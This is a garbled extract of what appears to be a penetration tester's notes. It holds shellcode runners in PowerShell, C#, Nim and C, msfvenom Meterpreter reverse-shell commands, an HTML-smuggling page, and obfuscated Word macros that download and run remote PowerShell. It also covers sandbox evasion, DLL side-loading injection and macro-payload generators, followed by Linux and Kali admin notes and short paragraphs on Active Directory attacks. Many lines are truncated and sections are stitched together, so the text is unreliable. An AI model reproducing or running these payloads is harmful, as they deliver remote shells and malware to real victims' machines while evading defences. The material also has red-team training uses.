If DateDiff("s", t, Now()) < dream Then
Exit Function
End If
PowerShell
ShellcodeRunnerv1.ps1
$Win32 = @"
using System;
using [Link];
[DllImport("kernel32", CharSet=[Link])]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntP
[DllImport("[Link]", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@
Add-Type $Win32
[Link]
Snippets/blob/main/Shellcode%20Process%20Injector/Shellcode%20Process%20Injector.ps1
2. getDelegateType 👉🏻 to define the argument types for the APIs using a delegate type via Reflection
and return it.
3. VirtualAlloc 👉🏻 to allocate writable, readable, and executable (unmanaged) memory space in
virtual address space of the calling process.
4. Copy 👉🏻 to copy the shellcode bytes into allocated memory location.
5. CreateThread 👉🏻 to create a new execution thread in the calling process and execute the shellcode.
6. WaitForSingleObject 👉🏻 to delay termination of the PowerShell script until the shell fully executes.
ShellcodeRunnerv2.ps1
function lookupFunc {
Param ($moduleName, $funcName)
function getDelegateType {
Param (
[Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes,
[Parameter(Position=1)][Type] $retType = [Void]
)
$lpMem = [[Link]]::GetDelegateForFunctionPointer((lookupFunc k
# msfvenom -p windows/meterpreter/reverse_https LHOST=[Link] LPORT=443 EXITFUNC=thread -f
[Byte[]] $buf = 0x31,0x33,...,0x33,0x37
[[Link]]::Copy($buf, 0, $lpMem, $[Link])
$hThread = [[Link]]::GetDelegateForFunctionPointer((lookupFunc
[[Link]]::GetDelegateForFunctionPointer((lookupFunc kernel32.d
In order to run x64 shellcode from a 32-bit application (e.g., MS Word), you may want to specify
the path to 64-bit PowerShell binary through Sysnative alias.
C#
C# DLL to Jscript
[Link]
[Link]
using System;
using [Link];
using [Link];
[ComVisible(true)]
public class TestClass
{
[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, ui
[DllImport("[Link]")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpSt
[DllImport("[Link]")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public TestClass()
{
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[Link] LPORT=443 -f cs
byte[] buf = new byte[???] {
0x31,0x33,...,0x33,0x37 };
SharpShooter
[Link]
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[Link] LPORT=443 -f raw -o met
$ python [Link] --dotnetver 4 --stageless --rawscfile [Link] --payload js --output e
HTML Smuggling
[Link]
[Link]
[Link]
using System;
using [Link];
namespace ShellcodeRunner
{
public class Program
{
[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType
[DllImport("[Link]")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr
[DllImport("[Link]")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("[Link]")]
static extern void Sleep(uint dwMilliseconds);
[DllImport("[Link]")]
static extern IntPtr GetCurrentProcess();
$class = $[Link]("[Link]")
[$bindingFlags= [[Link]] "NonPublic,Static"]
$method = $[Link]("Run", [$bindingFlags])
$[Link](0, $null)
Or
$a = [[Link]]::Run()
Shellcode Encoders/Encryptors
[Link]
Snippets/blob/main/ROT%20Shellcode%20Encoder/[Link]
[Link]
Snippets/blob/main/XOR%20Shellcode%20Encoder/[Link]
[Link]
Snippets/blob/main/Linux%20Shellcode%20Encoder/[Link]
[Link]
import ast
# msfvenom -p windows/meterpreter/reverse_https LHOST=[Link] LPORT=443 EXITFUNC=thread -f
buf = """buf = Array(31,33,...,33,37)"""
buf = buf[11:]
buf = [Link](' _\n', '')
buf = ast.literal_eval(buf)
enc = [b ^ ord('a') for b in buf]
enc = str(enc).replace('[', '').replace(']', '')
chunk += c
if len(chunk) > 200 and c == ',':
[Link]([Link]())
chunk = ''
[Link](chunk)
PS-XOREncrypt-HEX.ps1
$payload = "powershell -exec bypass -nop -c IEX(New-Object [Link]).DownloadString('http
[string]$output = ""
$[Link]() | % {
[string]$thischar = [byte][char]$_ -bxor [byte]'a'
if($[Link] -eq 1) {
$thischar = [string]"00" + $thischar
$output += $thischar
}
elseif($[Link] -eq 2) {
$thischar = [string]"0" + $thischar
$output += $thischar
}
elseif($[Link] -eq 3) {
$output += $thischar
}
}
$output | clip
[Link]
payload = r"powershell -exec bypass -nop -c IEX(New-Object [Link]).DownloadString('http
output = ''.join([str(ord(c) ^ ord('a')).zfill(3) for c in payload])
print(output)
[Link]
using System;
using [Link];
namespace XOREncrypt
{
class Program
{
static void Main(string[] args)
{
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
Dynamic P/Invoke
[Link]
[Link]
[Link]
using System;
using [Link];
using [Link];
namespace DInvokePE
{
public class Program
{
static byte[] Compress(byte[] data)
{
MemoryStream output = new MemoryStream();
using (DeflateStream dStream = new DeflateStream(output, [Link])
[Link](data, 0, [Link]);
return [Link]();
}
static
{ byte[] Decompress(byte[] data)
return [Link]();
}
Nim
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
learned/
Install
Windows:
[Link]
[Link]
Linux:
Dependencies:
Compilation
Basic:
Add the needed relocation section to the resulting executable (from Windows):
Inject Shellcode
NimlineWhispers
[Link]
[Link]
[Link]
How-to:
1. Generate a nim header with syscalls definitions (function names randomized): python3
[Link] --randomise .
3. Generate a shellcode of your choice, put it into the template and compile the binary: nim c -
d=mingw --app=console --cpu=amd64 shellcode_bin.nim .
Encrypted
[Link]
[Link]
# Generate a shellcode
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[Link] LPORT=443 -e x64/xor -
# Copy the shellcode into the 1st template and compile
$ nim c encrypt_shellcode.nim
# Encrypt the shellcode and write contents into a file
$ ./encrypt_shellcode 'Passw0rd!' [Link]
# Copy encrypted shellcode into the 2nd template and compile
$ cat [Link] | xclip -i -sel c
$ nim c --cpu:amd64 --os:windows --[Link]:x86_64-w64-mingw32-gcc --[Link]:x86_64-w64-m
Execute C# Assemblies
[Link]
[Link]
[Link]
Encrypted
[Link]
[Link]
$ nim c encrypt_assembly.nim
$ nim c --cpu:amd64 --os:windows --[Link]:x86_64-w64-mingw32-gcc --[Link]:x86_64-w64-m
$ ./encrypt_assembly 'Passw0rd!' [Link] [Link]
Cmd > .\encrypted_assembly_loader.exe Passw0rd! [Link] --Command logonpasswords
[Link]
[Link]
[Link]
[Link]
[Link]
Sandbox Evasion
[Link]
[Link]
[Link]
Code Snippets
Check if a machine a domain-joined (sandbox evasion):
is_domain_joined.py
// [Link] is_domain_joined.cpp [Link]
#include <Windows.h>
#include <LM.h>
#include <iostream>
BOOL IsDomainJoined() {
auto joined = false;
LPWSTR lpNameBuffer = nullptr;
NETSETUP_JOIN_STATUS joinStatus = NETSETUP_JOIN_STATUS::NetSetupUnknownStatus;
return joined;
}
int main()
{
std::cout << (!IsDomainJoined() ? "No dynamic analysis 4 U" : "Hack the Planet!") << std:
}
Shellcodes
[Link]
shellcode-in-c
Syscalls
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
Windows API
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
SE
Social Engineering
Phishing
VPS Setup
[Link]
Domains
[Link]
[Link]
[Link]
[Link]
[Link]
DLL Side-Loading
[Link]
[Link]
[Link]
[Link]
[Link]
from os import urandom
from hashlib import sha256
from [Link] import AES
KEY = urandom(16)
def pad(s):
return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) %
Source
[Link]
#include "pch.h"
#include
#include <stdlib.h>
<wincrypt.h>
#include <Windows.h>
#include <TlHelp32.h>
#include "CreateSection.h"
#define _CRT_SECURE_NO_DEPRECATE
#pragma warning (disable : 4996)
int j = 0;
for (int i = 0; i < data_len; i++) {
if (j == sizeof(key) - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
BOOL LoadNtdllFunctions() {
HMODULE ntdll = GetModuleHandleA("[Link]");
return TRUE;
}
if (!NT_SUCCESS(status))
continue;
return hProc;
}
} while (Process32Next(snapshot, &entry));
}
ZwClose(snapshot);
return NULL;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}
FILE* fp;
size_t shellcodeSize;
unsigned char* shellcode;
char OneDriveUpdate_str[] = { 0x20,0x1e,0x1f,0x28,0x0a,0x02,0x18,0x06,0x49,0x21
XOR((char*)OneDriveUpdate_str, 15);
fp = fopen(OneDriveUpdate_str, "rb");
fseek(fp, 0, SEEK_END);
shellcodeSize = ftell(fp);
fseek(fp, 0, SEEK_SET);
shellcode = (unsigned char*)malloc(shellcodeSize);
fread(shellcode, shellcodeSize, 1, fp);
LARGE_INTEGER interval;
[Link] = -1 * (int)(4270 * 10000.0f);
ResumeThread(hThread);
return 0;
}
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
threadHandle = CreateThread(NULL, 0, Run, NULL, 0, NULL);
CloseHandle(threadHandle);
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
Sleep(5000);
break;
}
return TRUE;
}
Include
CreateSection.h
#pragma once
#include <Windows.h>
#include <stdio.h>
#define STATUS_SUCCESS 0
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) == STATUS_SUCCESS)
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
#endif;
NTSTATUS(NTAPI* ZwOpenProcess)
(_Out_ PHANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PCLIENT_ID ClientID);
NTSTATUS(NTAPI* ZwCreateSection)
(_Out_ PHANDLE SectionHandle, _In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PLARGE_INTEGER MaximumSize, _In_ ULONG SectionPageProtection,
_In_ ULONG AllocationAttributes, _In_opt_ HANDLE FileHandle);
NTSTATUS(NTAPI* ZwMapViewOfSection)
(_In_ HANDLE SectionHandle, _In_ HANDLE ProcessHandle,
_Inout_ PVOID* BaseAddress, _In_ ULONG_PTR ZeroBits, _In_ SIZE_T CommitSize
_Inout_opt_ PLARGE_INTEGER SectionOffset, _Inout_ PSIZE_T ViewSize,
_In_ DWORD InheritDisposition, _In_ ULONG AllocationType,
_In_ ULONG Win32Protect);
NTSTATUS(NTAPI* ZwCreateThreadEx)
(_Out_ PHANDLE ThreadHandle, _In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine, _In_opt_ PVOID Argument, _In_ ULONG CreateFlags,
_In_opt_ ULONG_PTR ZeroBits, _In_opt_ SIZE_T StackSize,
_In_opt_ SIZE_T MaximumStackSize, _In_opt_ PVOID AttributeList);
NTSTATUS(NTAPI* ZwDelayExecution)
(_In_ BOOL Alertable,
_In_ PLARGE_INTEGER DelayInterval);
NTSTATUS(NTAPI* ZwUnmapViewOfSection)
(_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress);
HTML Smuggling
[Link]
How-to:
4. The data from the binary blob is moved to the href reference of the a tag.
5. The code from the binary blob is given the file name of [Link] .
[Link]
<html>
<body>
<script>
function base64ToArrayBuffer(base64) {
var binary_string = [Link](base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return [Link];
}
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[Link] LPORT=443 -f e
// base64 -w0 [Link] | xclip -i -sel clipboard
var file ='<METERPRETER_BASE64_CONTENTS>'
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = '[Link]';
var a = [Link]('a');
[Link](a);
[Link] = 'display: none';
var url = [Link](blob);
[Link] = url;
[Link] = fileName;
[Link]();
[Link](url);
</script>
</body>
</html>
This page will work when browsed with Google Chrome (since it supports
[Link] ). This technique must be modified to work against
browsers like IE or Microsoft Edge.
SharpShooter
[Link]
[Link]
MS Office
1. Place "encrypted" data in a Word document after the pretext (random base64): head -c 2K <
/dev/urandom > rnd && base64 rnd .
2. Create an AutoText: Insert > Quick Parts > AutoTexts > Save Selection as DecryptedBody to
AutoText Gallery.
3. Create a macro to "decrypt" the body with readable content according to the phishing legend.
[Link]
Sub Document_Open()
DecryptPage
End Sub
Sub AutoOpen()
DecryptPage
End Sub
Sub DecryptPage()
[Link]
[Link]
[Link]("DecryptedBody").Insert Where:=[Link]
End Sub
VBA Stomping
Manually
2. Open it with FlexHEX: File > Open > OLE Compound File.
3. Open Macros > VBA > NewMacros file.
4. Locate the Attribute VB_Name ASCII string (starts with \x41\x74\x74... ) and replace all the
bytes with zeros till the end of the file: Edit > Insert Zero Block.
5. Save the .doc and exit.
Now the VBA source code is wiped and execution of macro will be performed via the P-code (if the victim's
MS Word is the same).
After the macro is executed this way MS Word will decompile the P-code and put the VBA source
code back into the NewMacros file, so it will reappear in the VBA editor as well.
EvilClippy
[Link]
[Link]
Sub Document_Open()
Hello
End Sub
Sub AutoOpen()
Hello
End Sub
Sub Hello()
MsgBox ("Hello, World!")
End Sub
VBA Macros
Wait till a malicious binary is downloaded with PowerShell and execute it:
[Link]
Sub Document_Open()
hShellcodeRunner
End Sub
Sub AutoOpen()
hShellcodeRunner
End Sub
Sub DownloadWaitExec()
Dim str As String
str = "powershell (New-Object [Link]).DownloadFile('[Link]
Shell str, vbHide
Dim exePath As String
exePath = [Link] + "\[Link]"
Wait (2)
Shell exePath, vbHide
End Sub
Sub Wait(n As Long)
Dim t As Date
t = Now
Do
DoEvents
Loop Until Now >= DateAdd("s", n, t)
End Sub
[Link]
[Link]
Sub Evil
Dim strArg As String
strArg = "powershell -exec bypass -nop -c IEX(New-Object [Link]).DownloadString('http
GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub
[Link]
Function Pony(flowers)
Pony = StrReverse(flowers)
End Function
Sub Evil
Dim strArg As String
strArg = Pony(")'[Link]/[Link]//:ptth'(gnirtSdaolnwoD.)[Link] tcejbO-weN(XEI c-
GetObject(Pony(":stmgmniw")).Get(Pony("ssecorP_23niW")).Create strArg, Null, Null, pid
End Sub
Obfuscate it using xor encryption and add heuristics detection check based on comparing the .doc name
with current window name via [Link] :
[Link]
Function Pears(beets)
Pears = Chr(beets Xor Asc("a"))
End Function
Function Strawberries(grapes)
Strawberries = Left(grapes, 3)
End Function
Function Almonds(jelly)
Almonds = Right(jelly, Len(jelly) - 3)
End Function
Function Nuts(milk)
Do
Oatmilk = Oatmilk + Pears(Strawberries(milk))
milk = Almonds(milk)
Loop While Len(milk) > 0
Nuts = Oatmilk
End Function
Function Evil()
If [Link] <> Nuts("016022004079005014002") Then
Exit Function
End If
Dim Apples As String
Dim Water As String
Apples = "31.." _
& "33.." _
& "33.." _
& "37.."
Water = Nuts(Apples)
GetObject(Nuts("022008015012006012021018091")).Get(Nuts("05400801508208306204901901400200401
End Function
Sub Document_Open()
Evil
End Sub
Sub AutoOpen()
Evil
End Sub
Helpers
Generate a ready-to-paste malicios MS Word macro (execution is provided by VBA Shell function):
gen_doc_autoopen_payload_vbshell.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
from base64 import
argparse b64encode
import ArgumentParser
parser = ArgumentParser()
parser.add_argument('pwsh_file', help='PowerShell script to execute')
parser.add_argument('--chunk-size', type=int, default=200, help='length of a payload chunk lin
args = parser.parse_args()
payload = [Link]('utf-16le')
payload = b64encode(payload).decode()
payload = [payload[i:i + chunk_size] for i in range(0, len(payload), chunk_size)]
payload = [f'"{chunk}"' for chunk in payload]
payload = ' _\r\n& '.join(payload)
payload = f"""\
Sub AutoOpen()\r
Evil\r
End Sub\r
\r
Sub Document_Open()\r
Evil\r
End Sub\r
\r
Sub Evil()\r
Text = "powershell -exec bypass -nop -nologo -w hidden -enc " _\r
& {payload}\r
a = Shell(Text, vbHide)\r
End Sub\
""".replace('\t', '')
return payload
if __name__ == '__main__':
print(gen_payload_vbshell(args.pwsh_file, args.chunk_size))
gen_doc_autoopen_payload_wscript_shell.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
from base64 import b64encode
from argparse import ArgumentParser
parser = ArgumentParser()
parser.add_argument('pwsh_file', help='PowerShell script to execute')
parser.add_argument('--chunk-size', type=int, default=50, help='length of a payload chunk line
args = parser.parse_args()
chunks = [Link]('utf-16le')
chunks = b64encode(chunks).decode()
print('Sub AutoOpen()\r')
print(' Evil\r')
print('End Sub\r\n')
print('Sub Document_Open()\r')
print(' Evil\r')
print('End Sub\r\n')
print('Sub Evil()\r')
print(' Dim Text As String\r')
print(' Text = "powershell -exec bypass -nop -nologo -w hidden -enc "\r')
if __name__ == '__main__':
print(gen_payload_wscript_shell(args.pwsh_file, args.chunk_size))
Tools
[Link]
[Link]
⚙️ Admin
Git
Add SSH key to the ssh-agent:
Pull Requests
Syncing a forked repository:
[Link]
[Link]
$ cd /tmp && touch aaa && gpg --sign aaa && rm aaa [Link] && cd -
Submodules
[Link]
Linux
Encodings
From CP1252 to UTF-8:
Check:
$ enconv -d [Link]
Or
$ file -i [Link]
Network
Connections
Public IP
$ wget -q -O - [Link]
Virtual Terminal
Start:
CTRL + ALT + F1-6
Stop:
ALT + F8
Process Kill
OpenSSL
Encrypt/Decrypt
Generate Keys
[Link]
[Link]
[Link]
List keychain:
$ gpg --list-keys
Gen key:
List recipients:
Verify signature:
Cleanup
Log Files
$ > logfile
Or
$ cat /dev/null > logfile
Or
$ dd if=/dev/null of=logfile
Or
$ truncate logfile --size 0
.bash_history
[Link]
.zsh_history
Secure Delete
List devices:
$ lsblk
$ sudo fdisk -l
$ df -h
Manage partitions:
Format:
Floppy
Permissions
Set defaults for files:
Kernel
Remove old kernels:
GIFs
NTP
1. [Link]
2. [Link]
ImageMagick
XOR 2 images:
$ convert [Link] [Link] -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" img_out
Utilities Syntax
tar
.tar
Pack:
Unpack:
.[Link]
Pack:
Unpack:
.[Link]
Pack:
Unpack:
scp
7z
$ 7z e packed.7z -p"p4sSw0rD"
Best compression:
grep/find/sed
Recursive grep:
readlink
paste
dpkg
$ dpkg -s <package_name>
$ dpkg-query -W -f='${Status}' <package_name>
$ OUT="dpkg-query-$(date +'%FT%H%M%S').csv"; echo 'package,version' > ${OUT} && dpkg-query -W
veracrypt
[Link]
# Mount volume
$ veracrypt -t --pim=0 --keyfiles='' --protect-hidden=no /home/snovvcrash/[Link] /mn
# Unmount all
$ veracrypt -d
openconnect
GlobalProtect
Connect:
Bypass HIP:
[Link]
[Link]
# PHP
$ sudo add-apt-repository ppa:ondrej/php -y
$ sudo apt update
$ sudo apt install php7.2 -y
$ sudo apt install php7.2-curl php7.2-gd php7.2-json php7.2-mbstring -y
# Apache
$ sudo apt install apache2 libapache2-mod-php7.2 -y
$ sudo service apache2 restart
# MySQL
$ sudo apt install mysql-server php7.2-mysql
$ sudo mysql_secure_installation
$ service mysql restart
# Test
$ sudo sh -c 'echo "<?php phpinfo(); ?>" > [Link]'
-> [Link]
Fun
CMatrix
screenfetch
Kali
[Link]
Branches
Switch to the most stable branch:
$ echo "deb [Link] kali-last-snapshot main non-free contrib" | sudo tee /et
Setup Checklist
Mix settings list (both for hardware install and virtualization):
[VM] Disable screen lock (Power Manager -> Display, Security -> OFF)
[VM] Configure networks (+ remember to configure VBox DHCP first)
[All] Update && Upgrade (+ change /etc/apt/[Link] to HTTPS if getting "403 Forbidden" be
$ sudo apt update && sudo upgrade -y
$ sudo reboot
[VM] Install guest additions
* Insert Guest Additions CD image and open terminal there
$ cp /media/cdrom0/[Link] ~/Desktop && chmod 755 ~/Desktop/VBoxLinuxAd
$ sudo reboot
$ rm ~/Desktop/[Link] && sudo eject
[ALL] Manage users
* Enable root or create new user
SWITCH {
CASE (root):
$ sudo -i
$ passwd root
* Re-login as root
CASE (non-root):
$ sudo useradd -m -s /bin/bash -u 1337 snovvcrash
$ sudo passwd snovvcrash
$ sudo usermod -aG sudo snovvcrash
* Re-login as snovvcrash
}
* Disable kali user [VM]
SWITCH {
CASE (lock):
$ sudo usermod -L kali
$ sudo usermod -s /sbin/nologin kali
$ sudo chage -E0 kali
CASE (delete):
$ sudo userdel -r kali
}
[ALL] Configure sudo
* Increase sudo password timeout value or disable password prompt completely
$ sudo visudo
SWITCH {
CASE (increase timeout):
$ sudo sh -c 'echo "Defaults env_reset,timestamp_timeout=45
CASE (disable password):
$ sudo sh -c 'echo "snovvcrash ALL=(ALL) NOPASSWD: ALL" > /etc
}
[ALL] Clone dotfiles
$ git clone [Link] ~/.dotfiles
[ALL] Run ~/.dotfiles/00-autoconfig scripts on the discretion
Console Logging
script
tmux
[Link]
bash ~/.tmux/plugins/tmux-logging/scripts/screen_capture.sh
bash ~/.tmux/plugins/tmux-logging/scripts/save_complete_history.sh
Time in Prompt
bash
zsh
Paperify
When dealing with an engagement where there's no internet access available on the attacker's box, one can
use paperify to send data to her teammates (hashes to brute force, for example).
Zip the hashes with best compression, base64 the archive and create a QR code:
Translate the QR code with your favorite mobile app and send the contents via a secure channel (e. g., a
messenger). Now your teammates can reverse the process to get the initial zip file:
b64decode.ps1
$IN = $args[0]
$OUT = $args[1]
$data = [[Link]]::ReadAllText("$pwd\$IN")
[[Link]]::WriteAllBytes("$pwd\$OUT", [Convert]::FromBase64String($data))
Debian to Kali
sudo sh -c 'echo "\ndeb [Link] kali-rolling main contrib non-free" >> /etc/
sudo apt-key adv --keyserver hkp://[Link] --recv-keys ED444FF07D8D0BF6
sudo apt update
sudo apt install kali-tools-top10 -y
Networking
[Link]
[Link]
[Link]
Log Connections
tcpdump/tshark
iptables
Add rule to register new (does not watch for related, established) connections to your machine:
$ sudo iptables -A INPUT -p tcp -m state --state NEW -j LOG --log-prefix "IPTables New-Connect
Delete rule:
$ sudo iptables -D INPUT -p tcp -m state --state NEW -j LOG --log-prefix "IPTables New-Connect
Tools
dhclient
Release the current lease on eth0 and obtain a fresh IP via DHCP in Linux:
iptables
[Link]
[Link]
List rules in all chains (default table is filter, there are mangle, nat and raw tables beside it):
fail2ban
Status:
Unban:
OpenVPN
[Link]
[Link]
[Link]
Install stuff:
Configure DHCP:
/etc/dhcp/[Link]
option domain-name "local";
option domain-name-servers [Link], [Link];
default-lease-time 600;
max-lease-time 7200;
subnet [Link] netmask [Link] {
range [Link] [Link];
option subnet-mask [Link];
option broadcast-address [Link];
}
Configure hotspot:
/etc/hostapd/[Link]
interface=wlan0
driver=nl80211
ssid=LinuxHotspot
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=Passw0rd!
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
/etc/network/interfaces
iface wlan0 inet static
address [Link]
netmask [Link]
Quick Configurations
Static Config
Manually
$ sudo vi /etc/[Link]
domain [Link]
search [Link]
nameserver [Link]
$ ping [Link]
$ nslookup [Link]
$ sudo systemctl enable ssh --now
netplan
/etc/netplan/*.yaml :
network:
version: 2
renderer: networkd
ethernets:
eth0:
addresses: [[Link]/24]
gateway4: [Link]
dhcp4: true
optional: true
nameservers:
addresses: [[Link],[Link]]
Apply:
resolvconf
[Link]
overwritten
$
$ sudo
sudo apt install resolvconf
vi /etc/resolvconf/[Link].d/base
$ sudo resolvconf -u
Simultaneous Interfaces
Configure multiple interfaces to work simultaneously:
$ cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
source /etc/network/interfaces.d/*
# NAT
allow-hotplug eth0
iface eth0 inet dhcp
# Internal
allow-hotplug eth1
iface eth1 inet dhcp
# Host-only
allow-hotplug eth2
iface eth2 inet dhcp
$ ifup eth0
$ ifup eth1
$ ifup eth2
$ route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
[Link] [Link] [Link] UG 100 0 0 eth0
[Link] [Link] [Link] UG 600 0 0 wlan0
[Link] [Link] [Link] U 600 0 0 wlan0
[Link] [Link] [Link] U 100 0 0 eth0
$ sudo ip route add [Link]/16 via [Link] metric 100 dev eth0
$ sudo ip route add [Link]/12 via [Link] metric 100 dev eth0
$ sudo ip route add [Link]/8 via [Link] metric 100 dev eth0
$ sudo ip route del [Link]/0 via [Link] dev eth0
$ route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
[Link] [Link] [Link] UG 600 0 0 wlan0
DNS-суффикс подключения . . . . . :
Описание. . . . . . . . . . . . . : Virtual Ethernet Adapter
...
IPv4-адрес. . . . . . . . . . . . : [Link](Основной)
Add a static route to wrap all traffic into the VPN gateway. To achieve that specify VPN interface id in
hexadecimal ( 0x10 in this example) and set higher priority for this route (i.e., lower metric) than default
gateway route has:
Cmd > route add [Link] mask [Link] [Link] metric 7 if 0x10
Cmd
... > route print -4
IPv4 таблица маршрута
===========================================================================
Активные маршруты:
Сетевой адрес Маска сети Адрес шлюза Интерфейс Метрика
[Link] [Link] [Link] [Link] 25
[Link] [Link] [Link] [Link] 7
Routing
VM as a Router
[Link]
Configure traffic routing and NAT from a Windows host ([Link], eth0) through a Linux VM
([Link], eth1 bridged interface) to VPN ([Link]/24, tun0).
For the purpose of redirecting NEW connections from Linux tun0 to Windows host I can set socat on a
needed port as a quick solution (actually it's not necessary for this routing task):
[Link]
Create a directory with clients' configs to push and set static IPs for clients:
[1,2] [5,6] [9,10] [13,14] [17,18] [21,22] [25,26] [29,30] [33,34] [37,38] [41,42] [45,46] [49
Check interfaces:
$ ifconfig tun0
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet [Link] netmask [Link] destination [Link]
inet6 fe80::ca99:1dec:45c1:5d7a prefixlen 64 scopeid 0x20<link>
inet6 [Link] prefixlen 64 scopeid 0x0<global>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
RX packets 5 bytes 420 (420.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 9 bytes 724 (724.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
$ ifconfig tun1
tun1: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet [Link] netmask [Link] destination [Link]
inet6 [Link] prefixlen 64 scopeid 0x0<global>
inet6 fe80::bbe3:5b14:117e:4b99 prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
RX packets 5 bytes 420 (420.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10 bytes 800 (800.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Configure NAT:
Add the following directive to client's .ovpn config to ignore default gateway redirection:
Connect to tun0 as a client (example for the kali client) and manually add a route only for traffic you
want to go through VPN:
Virtualization
Docker
$ docker ps -a
Unsorted:
Installation
Linux
docker-engine
docker-compose
[Link]
[Link]
Enable feature:
Sharing VPN
[Link]
[Link]
vms/ba-p/382415
[Link]
2. kali-tweaks
3. "Configure the system for Hyper-V enhanced session mode" > Shut down VM.
5. Power up VM.
VirtualBox
DHCP
Configure DHCP in VBox:
$ mkdir ~/Desktop/Share
$ mount -t vboxsf /mnt/share-host ~/Desktop/Share
Or (if mounted from VBox settings)
$ ln -s /mnt/share-host ~/Desktop/Share
Automount:
$ crontab -e
"@reboot sleep 10; mount -t vboxsf /mnt/share-host ~/Desktop/Share"
VMWare
Shared Folders
[Link]
Mount:
Windows
Processes
Kill process from cmd:
Secure Delete
cipher
sdelete
File:
Directory (recursively):
Disk or partition:
System Perfomance
Network
Disable NIC
Symlinks
Wi-Fi Credentials
[Link]
Installed Software
PS > Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*
ADS
.msc
Administrative Tools
KRShowKeyMgr
Run:
Decrypt:
Permissions
Take own of a directory and remove it (run [Link] as admin):
DISM
TelnetClient
BitLocker
Check encryption status of all drives (must be elevated):
Detecting Kerberos Silver Ticket attacks requires monitoring for unusual service ticket requests, particularly those that involve excessive privileges or come from unexpected user accounts or systems . Network logs and Kerberos event logs can signal anomalies worth investigating. To mitigate their impact, organizations can enforce strict ticket lifetimes, monitor privileged accounts regularly, and implement multi-factor authentication to reduce unauthorized access . Additionally, regular security audits and user behavioral analytics can be effective in proactively identifying and responding to suspicious activities associated with Silver Ticket attacks . Security teams should also ensure consistent and timely patching and updating of their domain controllers to protect against known vulnerabilities .
Abuse of adminCount and AdminSDHolder in Active Directory can lead to persistent domain compromise by allowing attackers to manipulate permissions and retain administrative access. When an account's adminCount is set to 1, it gains special protections, and AdminSDHolder can be exploited by modifying permissions on this container to ensure the changes propagate to all protected accounts every hour . Attackers can grant themselves or backdoor accounts elevated privileges, ensuring they remain even after legitimate security measures attempt to revert changes . This form of abuse allows attackers to maintain a strong foothold within the AD environment over the long term, especially if less familiar security teams are not vigilant about monitoring changes to AdminSDHolder .
